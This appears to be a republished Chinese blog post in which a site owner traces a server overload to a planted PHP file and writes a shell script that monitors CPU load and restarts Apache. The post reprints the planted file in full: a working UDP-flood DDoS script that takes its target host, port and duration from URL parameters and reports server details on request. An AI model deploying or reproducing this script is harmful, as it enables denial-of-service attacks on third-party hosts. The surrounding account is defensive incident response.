服务器负荷超载处理-PHPDDOS

Myth丶恋晨 2022-06-11 06:10 81阅读 0赞
  1. 近日,一个朋友的服务器响应非常慢,并且经常出现无法访问的情况,此时查看CPU,两核的VPS最疯狂的时候LOAD达到了将近100![惊恐][panic.gif],通过W看,不是APACHE占用量最大,把服务器关掉恢复正常,重启一会儿又是这样;此时查看管理界面查看网络流量,每秒会有近10M的发送。刚开始以为是访问的用户增多导致的,通过NETSTAT查看80端口同时在线人数,也不多,就几十个,查看COOKIE LOG,增长的速度也不是太快,心想肯定是中招了。
  2. 于时立即把iftop装上,通过iptop查看,其中有个IP显示流量超高,达到每秒78M,就是它了,它这个IP抓出来,到COOKIE LOGGREP一下,终于找到了这个IP访问的页面,一看是一个陌生的页面,里面放的就是PHP-DDOS的攻击代码:
  3. <?php
  4. set_time_limit(999999);
  5. $host = $_GET['host'];
  6. $port = $_GET['port'];
  7. $exec_time = $_GET['time'];
  8. $Sendlen = 65535;
  9. $packets = 0;
  10. ignore_user_abort(True);
  11. if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
  12. if (StrLen($_GET['rat'])<>0){
  13. echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
  14. exit;
  15. }
  16. echo "Warning to: opening";
  17. exit;
  18. }
  19. for($i=0;$i<$Sendlen;$i++){
  20. $out .= "A";
  21. }
  22. $max_time = time()+$exec_time;
  23. //提示: www.haoddos.com 是骗子 请谨慎。
  24. while(1){
  25. $packets++;
  26. if(time() > $max_time){
  27. break;
  28. }
  29. $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
  30. if($fp){
  31. fwrite($fp, $out);
  32. fclose($fp);
  33. }
  34. }
  35. echo "Send Host:$host:$port<br><br>";
  36. echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
  37. echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
  38. ?>
  39. 立马把这个文件进行了转移,服务器的LOAD立马就下来了,访问也正常了。
  40. 平时太大意了,以为是个人网站就没有太多的花时间在上面,查看文件创建时间,居然是去年11月份,也就是说这个文件已经存在了半年了,难怪当时连换几家服务器服务商都是用不了多久就访问变慢了,当时心理面还在埋怨这些服务商,哎,当时怎么就没有细查呢。
  41. 后面准备先采用简单的处理方式,对CPULOAD进行监控,实现原理就是写一个SHELL,定时的去抓LOAD情况,然后网站目录下面的一个文件中,以便于随便可以查看,这样在出现问题的时候,能够比较早的知道。脚本很简单,就做了两件事情,获取LOAD以及在LOAD超标的时候,重启APACHE,也放在这里吧:
  42. #!/bin/bash
  43. currentDate=`date`
  44. cpuload=`w|grep load|awk -F"," '{print $3}'|awk -F": " '{print $2}'`;
  45. #if [ "$cpuload" -gt "3" ]; then
  46. echo "$currentDate, Current load is :$cpuload<br>" >> /webdir/load.txt;
  47. if [ `echo "$cpuload > 3" | bc` -eq 1 ]; then
  48. echo "cpuload is great than 3, then restart apache" >> /webdir/load.txt;
  49. /opt/lampp/lampp restartapache;
  50. fi

本文出自:冯立彬的博客

发表评论

表情:
评论列表 (有 0 条评论,81人围观)

还没有评论,来说两句吧...

相关阅读

    相关 服务器——异常处理

    [服务器框架][Link 1] 一、前言 服务器在运行过程如果出现数组越界访问、访问空指针、迭代器访问越界等等,可能会导致出现抛出异常,导致系统崩溃。怎样捕获异常并

    相关 服务器端图形处理

    Java最初是以Applet等客户端图形处理为技术起点的,而本节讨论的是如何在Servlet/JSP中实现图形处理。 在Jive中,图片可以用来显示用户的头像,用户在上传自己